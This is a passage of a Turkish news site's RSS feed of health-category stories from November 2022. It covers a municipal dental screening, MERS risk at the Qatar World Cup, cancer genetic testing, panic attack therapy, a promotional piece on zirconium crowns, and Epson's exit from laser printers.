<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="color:black"><span style="color:black">Beylikdüzü Belediyesi Sağlık İşleri Müdürlüğü, koruyucu sağlık hizmetleri kapsamında hayata geçirdiği projelerle farkındalık oluşturmaya devam ediyor. Müdürlük son olarak, 22 Kasım Diş Hekimleri Günü’nün de içinde bulunduğu Ağız ve Diş Sağlığı Haftası’nda “Sağlıklı Gülüşler” projesine imza attı. Sağlıklı dişlere sahip olmanın birçok hastalığı önlediğine dair dikkat çekmek amacıyla başlatılan projede, Mobil Sağlık Aracı içerisinde bulunan diş hekimi eşliğinde muayeneler gerçekleştirildi. İlk olarak Şehit Öğretmen Şenay Aybüke Yalçın Gündüz Çocuk Bakımevi ve Hüseyin Tütüncü Gündüz Çocuk Bakımevi’nde çocukların ağız ve diş sağlığı taraması yapıldı. Çocuklara, diş fırçalamanın önemi ve diş fırçalama tekniği ilgili bilgilendirmeler yapılırken, ağız ve diş sağlığının yetersiz olmasının da birçok farklı sağlık problemlerine neden olabileceği anlatıldı. Hafta boyunca devam eden çalışmada, Beylik Pazar Alanı’nda da vatandaşlar muayene edildi. Diş muayenesi sonrasında sağlık kuruluşlarına gerekli yönlendirmeler de sağlanırken diş fırçası ve macundan oluşan setler vatandaşlara hediye edildi.</span></span></span></span></p>

<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="color:black"><strong><span style="color:black">“Farkındalığı artırmak için durmadan çalışıyoruz”</span></strong></span></span></span></p>

<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:&quot;Times New Roman&quot;,serif"><span style="color:black"><span style="color:black">Ağız ve diş sağlığının önemine vurgu yapan Beylikdüzü Belediyesi Sağlık İşleri Müdürü Mehmet Esmer, “Bireylerin sağlık düzeyini yükseltmek, geliştirmek ve sürdürebilmek amacıyla yıl boyunca düzenlemiş olduğumuz koruyucu sağlık çalışmalarını titizlikle sürdürüyoruz. Ağız ve diş sağlığına yönelik yapmış olduğumuz çalışmalarda kişileri; okul öncesi ve okul çağında olan çocuklar, gençler, yetişkinler ve yaş almış bireyler olarak değerlendiriyoruz ve bu kapsamda çalışmalarımızı sürdürüyoruz. Özellikle çocuklara kazandırılan diş fırçalama alışkanlığının onun hayatı boyunca peşinden geleceği unutulmamalıdır. Sağlıklı bir yaşam için gerekli bilgi, tutum ve davranış değişikliklerini oluşturmak için eğitime erken yaşta başlamak gerekiyor.” şeklinde konuştu.</span></span></span></span></p>

<p>&nbsp;</p>

<p>&nbsp;</p>]]></content:encoded>
                <pubDate>Mon, 28 Nov 2022 16:03:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Dünya Sağlık Örgütü’nden uyarı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/dunya-saglik-orgutunden-uyari-548690</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/dunya-saglik-orgutunden-uyari-548690</guid>
                <description><![CDATA[]]></description>
                <content:encoded><![CDATA[<p>FIFA 2022 Dünya Kupası'na ev sahipliği yapan &nbsp;Katar'da son 10 yılda onlarca insan Orta Doğu Solunum Sendromu'na (MERS) yakalandı. MERS, enfekte ettiği her 100 kişiden 35’ini öldürüyor.&nbsp;</p>

<p>Bilim insanları, MERS'i teorik olarak dört haftalık turnuva sırasında ortaya çıkabilecek sekiz potansiyel 'enfeksiyon riskinden' biri olarak listeledi. Covid-19 &nbsp;ve maymun çiçeği ise en olası iki tehdit olarak gösterildi.</p>

<p>DSÖ'den bir epidemiyolog olan Prof. Dr. Patricia Schlagenhauf ve ekibi, bu durumun özellikle &nbsp;Katar ve komşu ülkeler için geçerli olduğunu söyledi. Uzmanlar futbol maçları izlemek için Katar'a giden çok sayıda taraftar nedeniyle hastalıkların İngiltere ve ABD gibi diğer ülkelere de yayılabileceğini &nbsp;öne sürdü.</p>

<p>Bununla birlikte, İngiltere’den yaklaşık 5 bin taraftarının Katar’a gittiğini bildirildi. 2022 Dünya Kupası’nın final maçlarına kadar 1,2 milyon İngiliz taraftarın Katar’a gitmesi bekleniyor.&nbsp;</p>

<p>İngiltere, en son Ağustos 2018'de Orta Doğu'dan gelen bir turistte &nbsp;olmak üzere yalnızca beş MERS vakası kaydetti. Araştırmacılar bu hastalığın insandan insana bulaşmasının mümkün olduğu belirtiliyor.&nbsp;</p>

<p>Diğer taraftan, develerin, Covid-19 pandemisinin arkasındaki virüsle aynı aileden gelen virüsün doğal konağı olduğu düşünülüyor.&nbsp;</p>

<p>Deve gribi olarak da bilinen Orta Doğu Solunum Sendromu (MERS), nadir fakat ciddi bir solunum yolu hastalığıdır.</p>

<p>İnsanlar MERS'i enfekte hayvanlardan kapabilir. Ancak doktorlar virüsün ana kaynağının Orta Doğu'daki develer olduğunu söylüyor.</p>

<p>Virüs ilk olarak 2012 yılında Suudi Arabistan’da tespit edildi. Hastalık, ayrıca enfekte bir kişinin öksürük damlacıkları yoluyla da bulaşabilir. MERS'e yakalananların yaklaşık yüzde 35'i ölüyor.</p>]]></content:encoded>
                <pubDate>Mon, 28 Nov 2022 11:37:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/dunya-saglik-orgutunden-uyari-1669625001.png"/>
            </item>
                                <item>
                <title>Kanser tedavisinde seçenekler genetik testler ile artıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kanser-tedavisinde-secenekler-genetik-testler-ile-artiyor-548662</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kanser-tedavisinde-secenekler-genetik-testler-ile-artiyor-548662</guid>
                <description><![CDATA[Genetik bilimi ve genetik testler sayesinde kanser tedavisinde heyecan verici gelişmeler yaşanıyor. Genetik testler ile tümörün moleküler profillemesi her hasta için en uygun tedavinin belirlenmesini hedefleniyor.]]></description>
                <content:encoded><![CDATA[<p style="text-align:center">&nbsp;</p>

<p style="text-align:center">&nbsp;</p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#222222">Kanserde tedavi seçeneklerinin artırılmasının artık mümkün olduğu günümüzde, kişiye özel tedavi hakkında bilgi veren Nesiller Genetik Laboratuvarı Direktörü&nbsp;</span>Genetik ve Farmakoloji Uzmanı Dr. Gülay Özgön,<span style="color:#222222">&nbsp;genetik testlerin,&nbsp;</span>doktorların hastalarını çokdaha kesin ve kişiselleştirilmiş bir yaklaşımla daha iyi anlamalarına, izlemelerine ve tedavi etmelerine yardımcı olduğunun altını çiziyor.</span></span></span></span></p>

<p style="text-align:justify">&nbsp;</p>

<p style="text-align:justify"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">İçinde bulunduğumuz Kasım ayının&nbsp;<strong><em>Akciğer Kanseri</em></strong>&nbsp;<strong><em>Farkındalık Ayı</em></strong>&nbsp;olması sebebiyle açıklamalarına akciğer kanseri teşhis ve tedavi sürecinde genetik biliminin yeri ve önemihakkında verdiği bilgilerle devam eden Dr. Özgön çalışmalarını şöyle özetliyor; “Genetik testler, kişinin kanser olma riskini artırabilecek olası mutasyonlarıveya tedavi planlamasını etkileyebilecek moleküler mekanizmaları inceler. Bu anlamda, genetik testler artık kanser tedavisinin ayrılmaz ve önemli bir parçası. Çünkü risk azaltma, tarama stratejileri, tedavi seçenekleri ve takibe rehberlik ediyorlar. Biz de merkezimizde kanser hastaları ya da kalıtsal kanser riski taşıyabilecek bireyler için aile hikayesinin çıkarılması, uygun genetiktestin belirlenmesi, uygulanması ve analizinin yorumlanması ile hekimlerin tanıve tedavi kararlarına destek oluyoruz.”</span></span></span></span></p>

<p style="text-align:justify"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">Akciğer kanseri tanı ve tedavisinde sonyıllarda immünoterapi ve hedefe yönelik tedavilerin artması sonucu başarı oranında kayda değer bir artış gözlemlendiğini belirten Özgön, hastanın akciğer kanseri tanısı alması ile birlikte uygun genetik test ile tümörün moleküler profillemesinin yapılmasının oldukça önemli olduğunu belirtiyor.</span></span></span></span></p>

<p style="text-align:justify"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">“Tümörün moleküler profillemesi yapıldıktan sonra hastaya uygun olan akıllı ilaç, immünoterapi gibi tedavi opsiyonları ve çeşitli ilaçlara olan direnç ve duyarlılıkları değerlendiriliyor, daha sonra hastanın tedavi ve takibi bu bilgiler ışığında yapılıyor. Eğer hastanın takibinde, hastalığı tekrarlar veya metastaz dediğimiz başka organa sıçrama durumu saptanırsa, bu testlerin yenilenmesi ve tümör genetiğinin yeniden incelenmesiyle mevcut tedavi gözden geçirilerek hastaya daha uygun olabilecek tedavi planı oluşturulabiliyor.”</span></span></span></span></p>]]></content:encoded>
                <pubDate>Sat, 19 Nov 2022 15:42:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/kanser-tedavisinde-secenekler-genetik-testler-ile-artiyor-1668861810.jpeg"/>
            </item>
                                <item>
                <title>Panik Ataklar Başarıyla Tedavi Edilebiliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/panik-ataklar-basariyla-tedavi-edilebiliyor-548660</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/panik-ataklar-basariyla-tedavi-edilebiliyor-548660</guid>
                <description><![CDATA[Günümüz toplumunda yaygın olarak gözlemlenen panik atak, hem iş yaşamını hem de özel hayatı olumsuz etkiliyor; panik ataklarda tedavinin uzman klinik psikologlar tarafından ilerletilmesi öneriliyor.]]></description>
                <content:encoded><![CDATA[<p style="text-align:start">&nbsp;</p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Özel Egepol Hastanesi Uzman Klinik Psikoloğu Ege Ece Birsel, panik atağın a</span><span style="color:#111111">ni ve beklenmedik bir şekilde ortaya çıkan korku ve huzursuzluk hissi ile birlikte fiziksel belirtilerin de yaşandığı kısa süreli nöbetleri olduğunu söyledi.</span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Panik atağın hem psikolojik hem de fizyolojik bazı belirtilerle kendini gösterdiğini belirten</span></span></span></span></span></p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Uzm. Klinik Psikolog Birsel, “Panik atak belirtileri yaklaşık 15 dakika kadar bir süre içinde artarak en yoğun noktaya ulaşır ve birey hiçbir şey yapmasa da yavaş yavaş azalır. Panik atak sırasında kişide bazı fiziksel belirtiler ortaya çıkar ve çok yoğun bir şekilde hissedilir. Bu belirtiler, kalp çarpıntısı, artan kalp ritmindeki hız, soğuk soğuk terleme, nefes darlığı ya da boğuluyormuş hissi, nefes alış verişinde düzensizlik, göğüste ağrı ya da baskı hissi, mide bulantısı ya da mide de kasılmalar, bireyin panik atak sırasında çevresindeki ortamı algılamakta zorlanması ya da çevresinin kendisine yabancı gelmesi, üşüme, ürperme, ateş basması ve yaşadığı bu fiziksel belirtilerle birlikte kontrolünü kaybedeceğini düşünmesi ya da bedensel belirtileri başka bir rahatsızlığa atfetmesinden kaynaklı ölüm korkusu yaşaması gibi belirtilerdir. Eğer bu belirtilerden en az 5 tanesi yaklaşık 15 dakikalık zaman diliminde yaşıyorsanız ve bu ataklar aralıklı zamanlarda nöbetler halinde geliyorsa biz buna panik atak diyoruz” bilgisini verdi.</span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111"><span style="font-family:Times New Roman,Times,serif"><span style="font-size:medium"><strong>PANİK ATAK, TRAVMATİK BİR DURUM HALİNE GELEBİLİYOR</strong></span></span></span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Her panik atak geçiren kişinin, panik bozuklukluğu olduğu anlamına gelmediğine dikkat çeken</span></span></span></span></span></p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Uzm. Klinik Psikolog Ege Ece Birsel, “</span><span style="color:#111111">Panik atak sırasında birey yaşadığı yoğun korku ve kaygı ile birlikte yaşadığı o anla ilgili felaketleştirici düşünceler yaratır. Örneğin; panik atak sırasında yaşadığı kalp çarpıntısını “kalp krizi geçiriyorum” diye yorumlar. Yaşadığı panik ataklara getirdiği bu felaketleştirici yorumlar bireyin panik atak sırasında bedensel belirtilerinin daha fazla artmasına sebep olur ve bedensel belirtilerin artması bireyin kaygısının artmasına da sebep olur. Bu durum bireyde yoğun bir korku ve dehşete sebep olur ve panik atak birey açısından artık bir travmatik bir durum haline gelir. Yaşanan her panik atak panik bozukluğunuz olduğu anlamına gelmemektedir. Panik bozukluk ruhsal bir rahatsızlıktır. Panik atak ise tek başına ruhsal bir rahatsızlık değildir. Ani ve beklenmedik bir anda yaşanan panik ataklar bireyde yoğun bir beklenti anksiyetesine sebep olur.</span></span></span></span></span></p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Böyle bir durumda internetten bu semptomları araştırmak ve panik atak geçirme korkusu sebebi ile bireyin günlük hayatına devam etmekten uzaklaşması yaşanan durumu daha sorunlu hale getirecektir. Böyle bir durum yaşadığınızda öncelikle semptomlarınıza yönelik bir hekim kontrolünden geçmeniz ve sonrasında da uzman bir klinik psikoloğa başvurmanız yararlı olacaktır” diye konuştu.</span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111"><strong>TEDAVİ BAŞARILI SONUÇLAR VERİYOR</strong></span></span></span></span></span></p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="color:#111111">Panik ataklar ve panik bozukluk tedavisinde uygulanan Bilişsel Davranışçı Terapi yönteminin başarılı sonuçlar verdiğini kaydeden&nbsp;</span><span style="color:#111111">Uzm. Klinik Psikolog Ege Ece Birsel, sözlerini şöyle sürdürdü:&nbsp;</span><span style="color:#111111">Burada bireyin farkındalığına, tedaviye olan uyumuna ve terapistin kendisine önerdiği tavsiyeleri uygulayabilmesine göre psikiyatri ile birlikte ilerleyen bir psikoterapi süreci ya da yalnızca psikoterapi ile sürdürülen bir tedavi süreci uygulanır. Panik bozukluk tedavisinde bilişsel davranışçı terapi oldukça etkili ve oldukça başarılı bir yöntemdir. Bilişsel davranışçı terapi yöntemi kişiye ve semtomlarına yönelik bir formülasyonu olan, daha çok davranış üzerine ve işlevsiz düşünceler üzerine çalıştığımız bir yöntemdir. Bireyin panik atak geçirirken yaşadığınız kısır döngüden çıkmanıza yardımcı olacak olan bu psikoterapi yöntemi, tekrar panik atak yaşamasını da önlemeye yöneliktir. Panik bozukluk tedavisinde psikoterapi almak oldukça etkili ve oldukça başarılıdır. Panik atak tedavisi için mutlaka bir uzmana danışmalısınız”</span></span></span></span></span></p>]]></content:encoded>
                <pubDate>Sat, 19 Nov 2022 15:41:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/panik-ataklar-basariyla-tedavi-edilebiliyor-1668861710.jpg"/>
            </item>
                                <item>
                <title>Türkiye&#039;de Zirkonyum Kaplama Yaptırmak</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/turkiyede-zirkonyum-kaplama-yaptirmak-548633</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/turkiyede-zirkonyum-kaplama-yaptirmak-548633</guid>
                <description><![CDATA[Ülkemizde ve dünyada birçok kişi dişine önem veriyor. Dişlerine gerekli önemi vermeyen kişiler çeşitli sorunlarla karşılaşabiliyor. Uzmanlar, diş konusunun ihmal edilmemesi gerektiğini her zaman söylüyor.]]></description>
                <content:encoded><![CDATA[<h1 style="text-align:center">&nbsp;</h1>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Ülkemizde ve dünyada birçok kişi dişine önem veriyor. Dişlerine gerekli önemi vermeyen kişiler çeşitli sorunlarla karşılaşabiliyor. Uzmanlar, diş konusunun ihmal edilmemesi gerektiğini her zaman söylüyor.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Cambria,serif"><em>Zirkonyum Kaplama Nedir?</em></span></span></h2>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama ile ilgili sorulan sorular artıyor. Zirkonyum kaplamanın detaylarını öğrenmek isteyen kişiler internetten yardım alıyor. Zirkonyum, beyaz renkli bir metal olarak biliniyor. Son zamanlarda zirkonyum tedavisini tercih eden hastaların sayısı artıyor. Zirkonyum kaplama ile beraber doğal bir görüntü elde ediliyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama tedavisi, biyolojik olarak ana dişlere çok daha yakın bir tedavi olarak görülüyor. Zirkonyum tedavisi uygulayanlar çok daha güzel gülüşlere sahip oluyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum tedavisi yapılan dişler çok daha beyaz bir görüntüye kavuşuyor. Bundan dolayı pek çok kişi zirkonyuma yöneliyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Yurtdışı hastalarımız için </span><a href="https://primedentalturkey.com/veneers-in-turkey/" style="color:blue; text-decoration:underline"><span style="font-size:12.0pt">https://primedentalturkey.com/veneers-in-turkey/</span></a><span style="font-size:12.0pt"> sayfasını inceleyip randevu almaları çok kolay.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Cambria,serif"><em>Zirkonyum Diş Kaplamanın Avantajları</em></span></span></h2>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama tedavisi yaptıranlar birçok avantaja sahip oluyor. Bu kişiler psikolojik olarak çok daha rahat olduklarını ifade ediyor. Çünkü zirkonyum kaplama yapıldığında daha canlı dişlere sahip olunuyor. Zirkonyum kaplama dışarıdan kolay bir şekilde anlaşılmıyor. Bundan dolayı birçok müşteri tarafından tercih ediliyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama diş eti morarmasına neden olmuyor. Çünkü lamine kaplama, diş etiyle etkileşime girmiyor. Ancak diğer tedavilerde diş eti morarması sıklıkla görülüyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplamanın uzun bir kullanım ömrü bulunuyor. Ancak bu oran hastadan hastaya değişiyor.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Cambria,serif"><em>Zirkonyum Kaplama Nasıl Yapılır?</em></span></span></h2>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama tedavisi yaptıracak olan kişilerin bu tedavi türünü derinlemesine araştırması gerekiyor. Yapılan araştırmalardan sonra kesin karar verilirse doktorla görüşülüyor. Doktorlar ilk olarak gerekli kontrolleri sağlıyor. Yapılan kontrollerde tedavi uygun görülürse zirkonyum kaplamaya geçiliyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Gerekli kontroller sağlandıktan sonra diş ölçüsü alınıyor. Diş ölçüsünün doğru bir şekilde alınması büyük önem arz ediyor. Doğru alınmayan ölçüler ciddi problemlere neden olabiliyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Laboratuarda bu ölçülere göre imal edilen dişler özel yapıştırıcılar ile hastanın dişine monte ediliyor.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Cambria,serif"><em>Zirkonyum Kaplama Fiyatları</em></span></span></h2>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama yaptıracak olanlar bu işlemin ücretini merak ediyor. Ancak zirkonyum kaplamanın belirli bir fiyatı bulunmuyor. Çünkü zirkonyum kaplama fiyatları hastanın dişine bağlı olarak değişiyor. En doğru fiyat bilgisini almak isteyen kişiler uzman doktorlar ile görüşüyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama fiyatlarını etkileyen birçok etken bulunuyor. Kaplamada kullanılacak malzeme, doktorların belirttiği ücret zirkonyum kaplamanın fiyatını etkiliyor. Bazı kişiler ucuz olması için kalitesiz malzemelere yönelebiliyor. Ancak bu doğru bir tutum olarak görülmüyor.</span></span></span></p>

<p style="text-align:justify"><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><a href="https://primedentalturkey.com/dental-treatment-prices-in-turkey/" style="color:blue; text-decoration:underline"><span style="font-size:12.0pt">https://primedentalturkey.com/dental-treatment-prices-in-turkey/</span></a><span style="font-size:12.0pt"> sayfasını inceleyerek bu tedavilerin fiyatları hakkında bilgi edinebilirsiniz.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Cambria,serif"><em>Zirkonyum Kaplamayı Kimler Yaptırabilir?</em></span></span></h2>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Son yıllarda birçok kişi zirkonyum kaplama ile ilgili bilgi almak istiyor. Yalnızca ülkemizde değil dünyanın diğer ülkelerinde de zirkonyum kaplama sıklıkla yapılıyor. Zirkonyum kaplamayı kimlerin yaptırabileceği merak ediliyor. Zirkonyum kaplama yapılıp yapılamayacağını öğrenmek için doktorlarla görüşmek gerekiyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Doktorlar diş yapısını inceliyor ve bir karara varıyor. Ancak emziren veya gebe kişilerin zirkonyum kaplama yaptırması uygun görülmüyor. Hastaların bu duruma dikkat etmesi gerekiyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Ağzına yara veya apse çıkan kişilerin de sağlığı düzeldiği zaman zirkonyum kaplama yapması öneriliyor.</span></span></span></p>

<h2><span style="font-size:14pt"><span style="font-family:Cambria,serif"><em>Zirkonyum Kaplama Zararlı Mı?</em></span></span></h2>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplamanın zararlı olup olmadığı tartışılıyor. Zirkonyum kaplama doğru bir şekilde yapılırsa vücuda herhangi bir zarar vermiyor. Ancak bazı kişiler bu konuda tecrübesiz olan doktorları tercih ediyor. Tecrübesiz doktorlar kaliteli olmayan malzemeleri kullanabiliyor. Bu şekilde kaplama yaptıran kişiler pek çok sorunla karşılaşıyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplamanın zararlı olmaması için diş ölçülerinin doğru bir şekilde alınması gerekiyor. Doğru alınmayan diş ölçüleri hastaların dişlerine zarar verebiliyor.</span></span></span></p>

<p><span style="font-size:10pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:12.0pt">Zirkonyum kaplama yaptırıp dişlerinde sorun yaşayan kişilerin en kısa zamanda doktora gitmesi gerekiyor. Doktorlar bu kişilere gerekli müdahaleyi yapıyor.</span></span></span></p>

<p>&nbsp;</p>]]></content:encoded>
                <pubDate>Thu, 17 Nov 2022 16:33:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Epson, lazer teknolojisini tamamen bırakma kararı aldı!</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/epson-lazer-teknolojisini-tamamen-birakma-karari-aldi-548617</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/epson-lazer-teknolojisini-tamamen-birakma-karari-aldi-548617</guid>
                <description><![CDATA[Epson, sürdürülebilir bir yaşam için büyük bir adım atarak lazer yazıcıların küresel satışını sona erdirme kararı aldı. Aynı zamanda Epson’un inkjet yani mürekkep püskürtmeli Isısız Teknolojisi ile geliştirilen yeni çok işlevli yazıcı (MFP) ürünleri de pazara sunuluyor. Epson’un Isısız Teknoloji’ye sahip yazıcıları, ısıya ihtiyaç duymadığı için dünyayı ısıtmıyor ve daha az enerjiyle tasarruflu çalışıyor]]></description>
                <content:encoded><![CDATA[<h1>&nbsp;</h1>

<p>Epson, 2026 yılına kadar lazer yazıcıların küresel satış ve dağıtımını sona erdireceğini açıkladı. Epson, ofisler için inkjet yani mürekkep püskürtmeli baskı teknolojisine olan bağlılığını bir kez daha vurguladı. Kararı açıklayan şirket, inkjetin sürdürülebilirlikte anlamlı ilerlemeler sağlama potansiyelini vurguladı. Bu potansiyel, farklı teknolojilerin çalışma biçiminden kaynaklanıyor. Lazer teknolojisi işlem sırasında yüksek ısıya ihtiyaç duyarken mürekkep püskürtme teknolojisi ısıya ihtiyaç duymadığı ve çalışmak için daha az enerji gerektirdiği için çok daha çevreci olarak biliniyor.</p>

<p>&nbsp;</p>

<p><strong>100 milyan Yen’lik yatırım yapmıştı</strong></p>

<p>&nbsp;</p>

<p>Bu açıklama, Epson'un sürdürülebilir inovasyona 100 milyar Yen’lik (¥) yatırımını duyurmasından bir yıl sonra geldi ve yeni kurumsal mürekkep püskürtmeli çok işlevli yazıcı (MFP) serisinin piyasaya sürülmesiyle aynı zamana denk geldi.</p>

<p>&nbsp;</p>

<p>Epson EMEA'nın Kıdemli Başkan Yardımcısı Rob Clark şöyle konuştu: "Lazer pazarından ayrılma kararı kaçınılmaz oldu. Bir şirket olarak sürdürülebilir inovasyon ve eyleme kendimizi adadık ve lazer yazıcılar buna uymuyor. İş inkjetleri ile karşılaştırdığımızda daha fazla enerji tüketiyor ve daha fazla sarf malzemesi kullanıyorlar. Baskı işimiz bunun yerine %100 piezo Isısız Teknoloji’ye yani inkjete odaklanacak ve ortaklarımız ve son kullanıcılar için verimli, sürdürülebilir baskı çözümleri sunmak için kendi teknolojimizden yararlanacak."</p>

<p>&nbsp;</p>

<p><strong>Yüzde 88, enerjiyi önemli buluyor</strong></p>

<p>&nbsp;</p>

<p>Uluslararası Data Şirketi (IDC) verilerine göre, Batı Avrupa'daki ticari mürekkep püskürtmeli pazarının, lazer baskı talebindeki yıllık %-0,4'lük düşüşün aksine, yılda +%5,1 oranında büyümesi bekleniyor. IDC araştırması ayrıca donanım karar vericilerinin %88'inin artık yeni baskı cihazlarını seçerken enerji tüketimi ve israfının (%87) "son derece" veya "çok" önemli olduğunu düşündüğünü gösteriyor.</p>

<p>&nbsp;</p>

<p><strong>Yeni yazıcı serisi tanıttı</strong></p>

<p>&nbsp;</p>

<p>Epson'un piezo Isısız Teknolojisi’nden yararlanan yeni WorkForce Enterprise AM Serisi, Epson'un kurumsal baskı portföyünü tamamlıyor. Yeni seri, orta pazara hitap eden ve Epson kurumsal mürekkep püskürtmeli ürün serisinin geri kalanını tamamlayan 40-60 ppm baskı hızları sağlıyor. Kompakt ve hafif tasarımıyla ön plana çıkan ürünler, üretim ve nakliye sırasında kullanılan kaynakları sınırlamaya yardımcı oluyor. Yüksek verimli mürekkep kartuşları ayrıca sarf malzemelerinin malzeme kullanımını, nakliyesini, depolanmasını ve kullanım sonu yönetimini azaltırken, rutin bakım için arıza süresini azaltıyor.</p>

<p>&nbsp;</p>

<p><strong>Artık her kategoriye uygun ürün var</strong></p>

<p>&nbsp;</p>

